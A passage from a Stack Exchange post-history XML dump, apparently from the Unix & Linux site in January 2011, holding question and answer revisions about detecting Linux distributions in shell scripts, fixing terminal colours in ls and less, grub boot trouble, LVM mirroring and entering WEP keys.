distributions, there is no single file you can rely on.  Either fall back to the output from `uname`, e.g.&#xD;&#xA;&#xD;&#xA;    OS=$(uname -s)&#xD;&#xA;    ARCH=$(uname -m)&#xD;&#xA;    VER=$(uname -r)&#xD;&#xA;&#xD;&#xA;or handle each distribution separately:&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/debian_version ]; then&#xD;&#xA;        OS=Debian&#xD;&#xA;        VER=$(cat /etc/debian_version)&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        ...&#xD;&#xA;    &#xD;&#xA;" />
  <row Id="14491" PostHistoryTypeId="5" PostId="6348" RevisionGUID="bc724173-1949-4d80-b921-acdfc8c19eb7" CreationDate="2011-01-24T05:48:52.577" UserId="3169" Comment="added 374 characters in body; added 38 characters in body" Text="Most recent distributions have a tool called `lsb_release`.  Your `/etc/*-release` will be using `/etc/lsb-release` anyway, so if that file is there, running `lsb_release` should work too.&#xD;&#xA;&#xD;&#xA;I think `uname` to get `ARCH` is still the best way.&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    OS=$(lsb_release -si)&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VER=$(lsb_release -sr)&#xD;&#xA;&#xD;&#xA;Or you could just source `/etc/lsb-release`:&#xD;&#xA;&#xD;&#xA;    . /etc/lsb-release&#xD;&#xA;    OS=$DISTRIB_ID&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VER=$DISTRIB_RELEASE&#xD;&#xA;&#xD;&#xA;If you have to be compatible with older distributions, there is no single file you can rely on.  Either fall back to the output from `uname`, e.g.&#xD;&#xA;&#xD;&#xA;    OS=$(uname -s)&#xD;&#xA;    ARCH=$(uname -m)&#xD;&#xA;    VER=$(uname -r)&#xD;&#xA;&#xD;&#xA;or handle each distribution separately:&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/debian_version ]; then&#xD;&#xA;        OS=Debian  # XXX or Ubuntu??&#xD;&#xA;        VER=$(cat /etc/debian_version)&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        ...&#xD;&#xA;    &#xD;&#xA;Of course, you can combine all this:&#xD;&#xA;&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/lsb-release ]; then&#xD;&#xA;        . /etc/lsb-release&#xD;&#xA;        OS=$DISTRIB_ID&#xD;&#xA;        VER=$DISTRIB_RELEASE&#xD;&#xA;    elif [ -f /etc/debian_version ]; then&#xD;&#xA;        OS=Debian  # XXX or Ubuntu??&#xD;&#xA;        VER=$(cat /etc/debian_version)&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        ...&#xD;&#xA;" />
  <row Id="14492" PostHistoryTypeId="5" PostId="6348" RevisionGUID="39c61878-e14b-4eb4-b423-d766ced6ea9d" CreationDate="2011-01-24T05:54:50.543" UserId="3169" Comment="added 625 characters in body; added 127 characters in body" Text="Most recent distributions have a tool called `lsb_release`.  Your `/etc/*-release` will be using `/etc/lsb-release` anyway, so if that file is there, running `lsb_release` should work too.&#xD;&#xA;&#xD;&#xA;I think `uname` to get `ARCH` is still the best way.&#xD;&#xA;&#xD;&#xA;e.g.&#xD;&#xA;&#xD;&#xA;    OS=$(lsb_release -si)&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VER=$(lsb_release -sr)&#xD;&#xA;&#xD;&#xA;Or you could just source `/etc/lsb-release`:&#xD;&#xA;&#xD;&#xA;    . /etc/lsb-release&#xD;&#xA;    OS=$DISTRIB_ID&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;    VER=$DISTRIB_RELEASE&#xD;&#xA;&#xD;&#xA;If you have to be compatible with older distributions, there is no single file you can rely on.  Either fall back to the output from `uname`, e.g.&#xD;&#xA;&#xD;&#xA;    OS=$(uname -s)&#xD;&#xA;    ARCH=$(uname -m)&#xD;&#xA;    VER=$(uname -r)&#xD;&#xA;&#xD;&#xA;or handle each distribution separately:&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/debian_version ]; then&#xD;&#xA;        OS=Debian  # XXX or Ubuntu??&#xD;&#xA;        VER=$(cat /etc/debian_version)&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        ...&#xD;&#xA;    &#xD;&#xA;Of course, you can combine all this:&#xD;&#xA;&#xD;&#xA;    ARCH=$(uname -m | sed 's/x86_//;s/i[3-6]86/32/')&#xD;&#xA;&#xD;&#xA;    if [ -f /etc/lsb-release ]; then&#xD;&#xA;        . /etc/lsb-release&#xD;&#xA;        OS=$DISTRIB_ID&#xD;&#xA;        VER=$DISTRIB_RELEASE&#xD;&#xA;    elif [ -f /etc/debian_version ]; then&#xD;&#xA;        OS=Debian  # XXX or Ubuntu??&#xD;&#xA;        VER=$(cat /etc/debian_version)&#xD;&#xA;    elif [ -f /etc/redhat-release ]; then&#xD;&#xA;        # TODO add code for Red Hat and CentOS here&#xD;&#xA;        ...&#xD;&#xA;    else&#xD;&#xA;        OS=$(uname -s)&#xD;&#xA;        VER=$(uname -r)&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Finally, your `ARCH` obviously only handles Intel systems.  I'd either call it `BITS` like this:&#xD;&#xA;&#xD;&#xA;    case $(uname -m) in&#xD;&#xA;    x86_64)&#xD;&#xA;        BITS=64&#xD;&#xA;        ;;&#xD;&#xA;    i*86)&#xD;&#xA;        BITS=32&#xD;&#xA;        ;;&#xD;&#xA;    *)&#xD;&#xA;        BITS=?&#xD;&#xA;        ;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;Or change `ARCH` to be the more common, yet unambiguous versions: `x86` and `x64` or similar:&#xD;&#xA;&#xD;&#xA;    case $(uname -m) in&#xD;&#xA;    x86_64)&#xD;&#xA;        ARCH=x64  # or AMD64 or Intel64 or whatever&#xD;&#xA;        ;;&#xD;&#xA;    i*86)&#xD;&#xA;        ARCH=x86  # or IA32 or Intel32 or whatever&#xD;&#xA;        ;;&#xD;&#xA;    *)&#xD;&#xA;        # leave ARCH as-is&#xD;&#xA;        ;;&#xD;&#xA;    esac&#xD;&#xA;&#xD;&#xA;but of course that's up to you.&#xD;&#xA;" />
  <row Id="14493" PostHistoryTypeId="2" PostId="6349" RevisionGUID="7b1705cc-04b7-4216-886a-b7ac8325bef8" CreationDate="2011-01-24T06:58:36.823" UserId="3169" Text="It could be many things.&#xD;&#xA;&#xD;&#xA;Please provide the output of:&#xD;&#xA;&#xD;&#xA;    echo $TERM&#xD;&#xA;    echo $LS_COLORS&#xD;&#xA;    alias ls&#xD;&#xA;    tput setaf 1 | od -c&#xD;&#xA;    echo &quot;$(tput setaf 1)red$(tput sgr0)&quot;&#xD;&#xA;&#xD;&#xA;Expected results:&#xD;&#xA;&#xD;&#xA;    xterm&#xD;&#xA;    no=00:... (or similar, should not be empty)&#xD;&#xA;    alias ls='ls --color=auto' (or similar)&#xD;&#xA;    0000000 033   [   3   1   m&#xD;&#xA;    0000005&#xD;&#xA;    red (in red)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  " />
  <row Id="14494" PostHistoryTypeId="25" PostId="6345" RevisionGUID="529615e3-497e-4334-83ef-05b75b530d32" CreationDate="2011-01-24T07:55:47.710" Comment="http://twitter.com/#!/StackUnix/status/29447255777873920" />
  <row Id="14495" PostHistoryTypeId="5" PostId="6307" RevisionGUID="db496fe3-ba9f-4d06-839b-f8bb0324d688" CreationDate="2011-01-24T07:57:18.673" UserId="73" Comment="added 10 characters in body; edited title" Text="On the dual boot option screen I choose Ubuntu and only get:&#xD;&#xA;&#xD;&#xA;    grub&gt;&#xD;&#xA;&#xD;&#xA;I want to get into Ubuntu and start learning it a bit but am stuck. What would be the best way to fix my problem? &#xD;&#xA;" />
  <row Id="14496" PostHistoryTypeId="4" PostId="6307" RevisionGUID="db496fe3-ba9f-4d06-839b-f8bb0324d688" CreationDate="2011-01-24T07:57:18.673" UserId="73" Comment="added 10 characters in body; edited title" Text="Stuck on &quot;grub&gt;&quot; prompt when dual-booting Ubuntu" />
  <row Id="14497" PostHistoryTypeId="5" PostId="6349" RevisionGUID="902af8d8-0925-48ba-9ff5-195a01be384d" CreationDate="2011-01-24T07:59:02.900" UserId="3169" Comment="added 701 characters in body; added 1 characters in body; added 7 characters in body" Text="It could be many things.&#xD;&#xA;&#xD;&#xA;Please provide the output of:&#xD;&#xA;&#xD;&#xA;    echo $TERM&#xD;&#xA;    echo $LS_COLORS&#xD;&#xA;    typeset -p LS_COLORS&#xD;&#xA;    alias ls&#xD;&#xA;    tput setaf 1 | od -c&#xD;&#xA;    echo &quot;$(tput setaf 1)red$(tput sgr0)&quot;&#xD;&#xA;&#xD;&#xA;Expected results:&#xD;&#xA;&#xD;&#xA;    xterm (optional, see below)&#xD;&#xA;    no=00:... (or similar, should not be empty)&#xD;&#xA;    declare -x LS_COLORS=&quot;no=00:...&quot; (ditto)&#xD;&#xA;    alias ls='ls --color=auto' (or similar)&#xD;&#xA;    0000000 033   [   3   1   m&#xD;&#xA;    0000005&#xD;&#xA;    red (in red)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;My guess: `TERM` is set to something unusual, and dircolors doesn't know about it, therefore `ls` doesn't know what colors to use.&#xD;&#xA;&#xD;&#xA;If this is the case, running the above commands inside your byobu/screen session, you would see:&#xD;&#xA;&#xD;&#xA;    screen (or screen-something)&#xD;&#xA;    (nothing)&#xD;&#xA;    (nothing)&#xD;&#xA;    0000000 033   [   3   1   m&#xD;&#xA;    0000005&#xD;&#xA;    red (in red)&#xD;&#xA;&#xD;&#xA;Confirm that this is the case by running:&#xD;&#xA;&#xD;&#xA;    dircolors -p | grep &quot;^TERM $TERM$&quot;&#xD;&#xA;&#xD;&#xA;I would expect it to print nothing.&#xD;&#xA;&#xD;&#xA;The simplest fix, depending on your configuration, would be:&#xD;&#xA;&#xD;&#xA;    dircolors -p &gt; ~/.dircolors&#xD;&#xA;    echo &quot;TERM $TERM&quot; &gt;&gt; ~/.dircolors" />
  <row Id="14498" PostHistoryTypeId="2" PostId="6350" RevisionGUID="2e440f32-cdad-4c35-8847-d6284b5d0297" CreationDate="2011-01-24T08:42:48.430" UserId="688" Text="I've only ever upgraded between different Debian versions, and don't remember having issues. However, note that most packages found in distros are essentially the same, meaning their configs won't vary between. Any packages unique to a specific distro won't cause a problem. Often it happens that they change their configurations between upgrades, and may leave the old configs behind.&#xD;&#xA;&#xD;&#xA;So go ahead and give it a try, but not before backing up the current configs... just in case." />
  <row Id="14499" PostHistoryTypeId="2" PostId="6351" RevisionGUID="6adb4fa5-d3c0-42f5-adbb-1773f02a5226" CreationDate="2011-01-24T08:49:45.537" UserId="3046" Text="SCADA describes &quot;Supervisory Control and Data Acquisition&quot; systems - it often is Real Time, but doesn't have to be. There is usually a component that is real time (eg for logging, or managine pressures etc in machinery - ie essential heartbeat stuff) but this isn't absolutely necessary.&#xD;&#xA;&#xD;&#xA;Many are still legacy code with a TCP/IP front end tacked on, and for some of these the front end is a very basic web server.&#xD;&#xA;&#xD;&#xA;From an offtopic security perspective, there is a large scale problem with connecting legacy SCADA apps to the Internet without hardening them appropriately - as this leads to logical attacks on real world systems (such as oil pipelines, power stations etc&#xD;&#xA;" />
  <row Id="14500" PostHistoryTypeId="2" PostId="6352" RevisionGUID="6d36bbf0-85b0-4f14-8c72-0a176cbbaf06" CreationDate="2011-01-24T09:51:49.127" UserId="1131" Text="Can you add the links you are referring to? Because just mirroring does not need a log. A log (on the same or extra device) is usually involved when you use a journaling filesystem - if you use mirroring or not on the layer below (i.e. the blocklayer)." />
  <row Id="14501" PostHistoryTypeId="5" PostId="6153" RevisionGUID="ef3870f6-5764-4db9-a4a6-f09ad66e77c6" CreationDate="2011-01-24T10:04:06.123" UserId="3991" Comment="I've changed the question" Text="I have an hexadecimal wep key in the setting of my router. &#xD;&#xA;&#xD;&#xA;When I try to connect, system asks to me for the wep *passphrase*. &#xD;&#xA;&#xD;&#xA;**How can I derive it from my *hexadecimal*?**&#xD;&#xA;&#xD;&#xA;This is what I have:&#xD;&#xA;&#xD;&#xA;    84:12:7D:13:4D:08:31:89:A4:AF:97:07:21&#xD;&#xA;&#xD;&#xA;How is the way to get it?&#xD;&#xA;&#xD;&#xA;Thanx a lot and I apologize for my english." />
  <row Id="14502" PostHistoryTypeId="4" PostId="6153" RevisionGUID="ef3870f6-5764-4db9-a4a6-f09ad66e77c6" CreationDate="2011-01-24T10:04:06.123" UserId="3991" Comment="I've changed the question" Text="How do you derive the passphrase from hexadecimal wep key?" />
  <row Id="14503" PostHistoryTypeId="6" PostId="6153" RevisionGUID="ef3870f6-5764-4db9-a4a6-f09ad66e77c6" CreationDate="2011-01-24T10:04:06.123" UserId="3991" Comment="I've changed the question" Text="énetworkingàésecurityàéwirelessàéwifià" />
  <row Id="14504" PostHistoryTypeId="2" PostId="6353" RevisionGUID="17f44af9-6513-48db-b199-9540b1b5699d" CreationDate="2011-01-24T10:29:19.433" UserId="1946" Text="Once so often when you've typed a long command and before finishing it you've realized it won't work right away, because you need to run something else before (e.g. entered `git commit -m &quot;long commit message here&quot;`), you can hit `^A^K` to go to the start of the line and kill it (saving into a buffer), next run a command to fix things, and finally `^Y` to paste the killed command, and continue.  Saves a lot of re-typing.  All this, of course is when `readline` is in Emacs mode.&#xD;&#xA;&#xD;&#xA;Another time-saver: `mkdir -p some/nested/dirs/to/be/created` creates all the dirs in a path if they're missing.&#xD;&#xA;" />
  <row Id="14505" PostHistoryTypeId="25" PostId="6344" RevisionGUID="a4a01cb2-fe9c-45d5-aa37-e1638a63db5b" CreationDate="2011-01-24T10:55:48.077" Comment="http://twitter.com/#!/StackUnix/status/29492556253368320" />
  <row Id="14506" PostHistoryTypeId="2" PostId="6354" RevisionGUID="907d4f6c-fca5-478c-96ce-ad7f56b1e42e" CreationDate="2011-01-24T11:09:42.090" UserId="4130" Text="Much of what makes one distro look different from another, so you might find that they end up with a few aesthetic clashes (same desktop background, for example), but generally I'd say it'll be ok." />
  <row Id="14507" PostHistoryTypeId="2" PostId="6355" RevisionGUID="0da6d349-82f2-4850-b69f-c35357837dc8" CreationDate="2011-01-24T11:42:01.407" UserId="281" Text="Windows will also accept the hexadecimal key, no conversion is needed. In fact, it is the recommended format. From the [documentation for configuring WEP in Windows XP][1]:&#xD;&#xA;&#xD;&#xA;&gt; If you are typing the WEP key using hexadecimal digits, you must type 10 hexadecimal digits for a 40-bit key and 26 hexadecimal digits for a 104-bit key. If you have the choice of the format of the WEP key, choose hexadecimal.&#xD;&#xA;&#xD;&#xA;However, you should type `84127D134D083189A4AF970721`, without the `:` characters. Those are just separators which are not actually part of the key.&#xD;&#xA;&#xD;&#xA;Finally, note that your key is now useless for security as you have published it on the internet.&#xD;&#xA;&#xD;&#xA;  [1]: http://technet.microsoft.com/en-us/library/bb457016.aspx" />
  <row Id="14508" PostHistoryTypeId="2" PostId="6356" RevisionGUID="58fb195a-33b4-4417-8334-5e84f4db12e8" CreationDate="2011-01-24T12:33:39.737" UserId="3372" Text="An alternative simple solution could be to use the QoS of your router (Quality of Service), this may allow you to give higher priority to certain protocols (i.e. HTTP/HTTPS).&#xD;&#xA;&#xD;&#xA;If you don't have QoS on your router the only way are the one explained above.&#xD;&#xA;&#xD;&#xA;One more link:&#xD;&#xA;&#xD;&#xA;http://www.andybev.com/index.php/Fair_traffic_shaping_an_ADSL_line_for_a_local_network_using_Linux&#xD;&#xA;&#xD;&#xA;Be aware that if you give high priority to HTTP or HTTPS, then, almost probably, your torrent won't work anymore, this is because many applications use the HTTP protocol to exchange data over the network, so there will be always something matching the iptable rule.&#xD;&#xA;&#xD;&#xA;I'd rather advice to use a Command line version of bittorrent, like [rtorrent][1], this way you can write a simple shell script that will change the torrent download throttle and then execute firefox (or whatever).&#xD;&#xA;&#xD;&#xA;You can also stop rtorrent downloading after certain conditions.&#xD;&#xA;&#xD;&#xA;https://wiki.archlinux.org/index.php/RTorrent&#xD;&#xA;http://superuser.com/questions/180866/configure-rtorrent-to-stop-downloading-after-a-certain-file-size  &#xD;&#xA;&#xD;&#xA;http://libtorrent.rakshasa.no/&#xD;&#xA;&#xD;&#xA;Hope it helps...&#xD;&#xA;&#xD;&#xA;  [1]: http://libtorrent.rakshasa.no/" />
  <row Id="14509" PostHistoryTypeId="2" PostId="6357" RevisionGUID="6e96a9a1-511a-4b24-8fd8-7db289e1fef6" CreationDate="2011-01-24T12:43:52.773" UserId="3169" Text="Could be a number of problems.&#xD;&#xA;&#xD;&#xA;Can you try this:&#xD;&#xA;&#xD;&#xA;    export LESS_TERMCAP_mb=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_md=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_me=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_se=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_so=$'\E[01;47;34m'&#xD;&#xA;    export LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_us=$'\E[01;32m'&#xD;&#xA;&#xD;&#xA;    echo -E &quot;a^Ha&quot; | LESS= less -r&#xD;&#xA;&#xD;&#xA;The `^H` above must be entered by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;It should print a red `a`.&#xD;&#xA;&#xD;&#xA;If that works, then try:&#xD;&#xA;&#xD;&#xA;    echo -E &quot;a^Ha&quot; | less&#xD;&#xA;&#xD;&#xA;If the &quot;echo -E&quot; command works, then try this:&#xD;&#xA;&#xD;&#xA;    zcat /usr/share/man/man1/ls.1.gz | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8 | less&#xD;&#xA;&#xD;&#xA;" />
  <row Id="14510" PostHistoryTypeId="5" PostId="6357" RevisionGUID="8de3c143-aa78-4c85-a790-37e9f25163e3" CreationDate="2011-01-24T13:00:37.923" UserId="3169" Comment="added 1164 characters in body; added 328 characters in body" Text="Could be a number of problems.&#xD;&#xA;&#xD;&#xA;Can you open a new `urxvt` window and run these commands:&#xD;&#xA;&#xD;&#xA;    export LESS_TERMCAP_mb=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_md=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_me=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_se=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_so=$'\E[01;47;34m'&#xD;&#xA;    export LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_us=$'\E[01;32m'&#xD;&#xA;&#xD;&#xA;Then run each of the following to find out where the problem is:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 1**&#xD;&#xA;&#xD;&#xA;    echo &quot;$LESS_TERMCAP_md&quot; | od -c&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    0000000 033   [   0   1   ;   3   1   m  \n&#xD;&#xA;    0000011&#xD;&#xA;&#xD;&#xA;if not, you have entered the `LESS_TERMCAP` stuff incorrectly, or you are using `sh` or `dash` as your shell rather than `bash`.  Use `chsh` to change to `bash`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 2**&#xD;&#xA;&#xD;&#xA;    echo &quot;${LESS_TERMCAP_md}red${LESS_TERMCAP_me}&quot;&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    red&#xD;&#xA;&#xD;&#xA;in a red color.  If it doesn't there is something wrong with your terminal settings.  Check your terminal settings (e.g. `~/.Xresources`) or try a different terminal to see if it really is the problem.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 3**&#xD;&#xA;&#xD;&#xA;    echo -E &quot;a^Ha&quot; | LESS= less -r&#xD;&#xA;&#xD;&#xA;(`^H` must be entered by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;)&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;in red.   If it doesn't, I'm not sure what is wrong.  Perhaps `less` is a very old version or is an alias for `more`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 4**&#xD;&#xA;&#xD;&#xA;    echo -E &quot;b^Hb&quot; | less&#xD;&#xA;&#xD;&#xA;should print a red `b`.  If it doesn't, check that your `LESS` environment variable contains `r` or `R`, e.g. by putting `LESS=-r` or `LESS=-R` in your `~/.bashrc`.&#xD;&#xA;&#xD;&#xA;After doing so, start a new terminal and run `typeset -p LESS` to confirm it worked.  It should print:&#xD;&#xA;&#xD;&#xA;    declare -x LESS=&quot;-r&quot;&#xD;&#xA;&#xD;&#xA;(the bit inside double quotes can be different, but must have `r` or `R`)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 5**&#xD;&#xA;&#xD;&#xA;    zcat /usr/share/man/man1/ls.1.gz | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8 | less&#xD;&#xA;&#xD;&#xA;should display the `ls` man page with colors.&#xD;&#xA;&#xD;&#xA;If that works, then my guess is that you have put the `export LESS_TERMCAP` stuff in the wrong file.  Try opening a new terminal, don't run the `export LESS_TERMCAP` stuff, and try the tests again.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;With any luck, you have now found the problem." />
  <row Id="14511" PostHistoryTypeId="5" PostId="6357" RevisionGUID="7751831a-e99a-4c6a-a76d-2766e1edb039" CreationDate="2011-01-24T13:05:52.147" UserId="3169" Comment="added 50 characters in body" Text="Could be a number of problems.&#xD;&#xA;&#xD;&#xA;Can you open a new `urxvt` window and run these commands:&#xD;&#xA;&#xD;&#xA;    export LESS_TERMCAP_mb=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_md=$'\E[01;31m'&#xD;&#xA;    export LESS_TERMCAP_me=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_se=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_so=$'\E[01;47;34m'&#xD;&#xA;    export LESS_TERMCAP_ue=$'\E[0m'&#xD;&#xA;    export LESS_TERMCAP_us=$'\E[01;32m'&#xD;&#xA;&#xD;&#xA;Then run each of the following to find out where the problem is:&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 1**&#xD;&#xA;&#xD;&#xA;    echo &quot;$LESS_TERMCAP_md&quot; | od -c&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    0000000 033   [   0   1   ;   3   1   m  \n&#xD;&#xA;    0000011&#xD;&#xA;&#xD;&#xA;if not, you have entered the `LESS_TERMCAP` stuff incorrectly, or you are using `sh` or `dash` as your shell rather than `bash`.  Use `chsh` to change to `bash`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 2**&#xD;&#xA;&#xD;&#xA;    echo &quot;${LESS_TERMCAP_md}red${LESS_TERMCAP_me}&quot;&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    red&#xD;&#xA;&#xD;&#xA;in a red color.  If it doesn't there is something wrong with your terminal settings.  Check your terminal settings (e.g. `~/.Xresources`) or try a different terminal to see if it really is the problem.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 3**&#xD;&#xA;&#xD;&#xA;    echo -E &quot;a^Ha&quot; | LESS= less -r&#xD;&#xA;&#xD;&#xA;(`^H` must be entered by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; then &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;)&#xD;&#xA;&#xD;&#xA;should print&#xD;&#xA;&#xD;&#xA;    a&#xD;&#xA;&#xD;&#xA;in red.   If it doesn't, I'm not sure what is wrong.  Perhaps `less` is a very old version or is an alias for `more`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 4**&#xD;&#xA;&#xD;&#xA;    echo -E &quot;b^Hb&quot; | less&#xD;&#xA;&#xD;&#xA;should print a red `b`.  If it doesn't, check that your `LESS` environment variable contains `r` or `R`, e.g. by putting `LESS=-r` or `LESS=-R` in your `~/.bashrc`.&#xD;&#xA;&#xD;&#xA;After doing so, start a new terminal and run `typeset -p LESS` to confirm it worked.  It should print:&#xD;&#xA;&#xD;&#xA;    declare -x LESS=&quot;-r&quot;&#xD;&#xA;&#xD;&#xA;(the bit inside double quotes can be different, but must have `r` or `R`)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;**Number 5**&#xD;&#xA;&#xD;&#xA;    zcat /usr/share/man/man1/ls.1.gz | \&#xD;&#xA;        /bin/sh /usr/bin/nroff -mandoc -Tutf8 | less&#xD;&#xA;&#xD;&#xA;should display the `ls` man page with colors.&#xD;&#xA;&#xD;&#xA;If that works, then my guess is that you have put the `export LESS_TERMCAP` stuff in the wrong file.  Try opening a new terminal, don't run the `export LESS_TERMCAP` stuff, and try the tests again.&#xD;&#xA;&#xD;&#xA;Run:&#xD;&#xA;&#xD;&#xA;    man ls&#xD;&#xA;&#xD;&#xA;to confirm it is all OK.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;With any luck, you have now found the problem." />
  <row Id="14512" PostHistoryTypeId="5" PostId="6335" RevisionGUID="b7ae2fac-e8f4-4e8e-abe1-4a588a12e465" CreationDate="2011-01-24T13:11:26.057" UserId="4110" Comment="added 263 characters in body" Text="I read that when mirroring a logical volume a log of some sort is used to keep the files in sync. You can either set it so this log is in a separate physical volume or in memory. I also read that if the log is in memory, the system has to resync the volumes.&#xD;&#xA;&#xD;&#xA;Is there a performance hit for using the log in memory? For example, does it take much longer to boot the machine? Is the data at risk while the resync is happening?&#xD;&#xA;&#xD;&#xA;I'm working with Ubuntu 10.04 in this case. I believe it's lvm2. The clearest documentation I've found is [the CentOS document here](http://www.centos.org/docs/5/html/Cluster_Logical_Volume_Manager/LV_create.html). I was also looking at [this description](http://www.tcpdump.com/kb/os/linux/lvm-mirroring/creating-mirror.html)." />
  <row Id="14513" PostHistoryTypeId="2" PostId="6358" RevisionGUID="b66940a5-a995-4fe8-bfa0-1767d9fa8912" CreationDate="2011-01-24T13:29:08.153" UserId="1835" Text="I would not recommend sharing your `/home` between radically different distributions.  Two versions of the same program reading and writing the same config files could result in problems, e.g. if the newer version writes something that the older version does not understand.&#xD;&#xA;&#xD;&#xA;If you don't mind the paths being different, save your files in the `/home` for one distro and mount that /home at another location on the other distro (such as `/home/&lt;user&gt;/fedora`).  Then,  `/home/&lt;user&gt;/foo/bar` can be accessed via `/home/&lt;user&gt;/fedora/foo/bar` on arch, for example.&#xD;&#xA;&#xD;&#xA;If you want the paths to be the same, save most of your files to a third, distinct partition, and mount it in the same place within both distributions e.g. `/home/&lt;user&gt;/stuff`." />
  <row Id="14514" PostHistoryTypeId="2" PostId="6359" RevisionGUID="2e629def-d923-40ac-abf6-08b4560487e7" CreationDate="2011-01-24T13:30:49.557" UserId="1835" Text="Try rebuilding your `initramfs` files.  It's possible that a static copy of `libgcrypt` has been incorporated into the initial ram disk (to decrypt early disks, for example), and it is still the version prior to the package upgrade." />
  <row Id="14515" PostHistoryTypeId="2" PostId="6360" RevisionGUID="a4b76708-e0af-4ff3-a4d3-8cd26eb18677" CreationDate="2011-01-24T13:35:30.203" UserId="2130" Text="You can use symlinks&#xD;&#xA;&#xD;&#xA;    ln -s /mnt/mydisk/mydocuments /home/user4123/mydocuments&#xD;&#xA;&#xD;&#xA;On each distro once. Now each distro has it's own configuration files" />
  <row Id="14516" PostHistoryTypeId="2" PostId="6361" RevisionGUID="dc89bcfe-18e5-4b88-98c5-068f476f6d7e" CreationDate="2011-01-24T13:55:14.970" UserId="3886" Text="`mplayer` has `-softvol-max` option that allows to amplify loudness. VLC also by default allow you to raise volume up to 200%, but it can be changed in options." />
  <row Id="14517" PostHistoryTypeId="25" PostId="6342" RevisionGUID="0bb53fd1-fb4f-4d08-9a30-7e239d508878" CreationDate="2011-01-24T13:55:48.280" Comment="http://twitter.com/#!/StackUnix/status/29537855063719936" />
  <row Id="14518" PostHistoryTypeId="6" PostId="5196" RevisionGUID="d310cbd5-c52e-4b03-8233-a89925da7422" CreationDate="2011-01-24T14:00:31.210" UserId="1615" Comment="edited tags" Text="ésoftwareöinstallationàéchromeàélinuxömintàésoftwareömanagerà" />
  <row Id="14521" PostHistoryTypeId="17" PostId="6363" RevisionGUID="f5fae447-79eb-4f47-a0e1-e612bf6c3929" CreationDate="2011-01-24T14:20:20.003" UserId="-1" Comment="from http://stackoverflow.com/questions/4771796/debian-6-0-rc1-cannot-login-as-root-and-user-is-not-a-sudoer/4771952#4771952" Text="" />
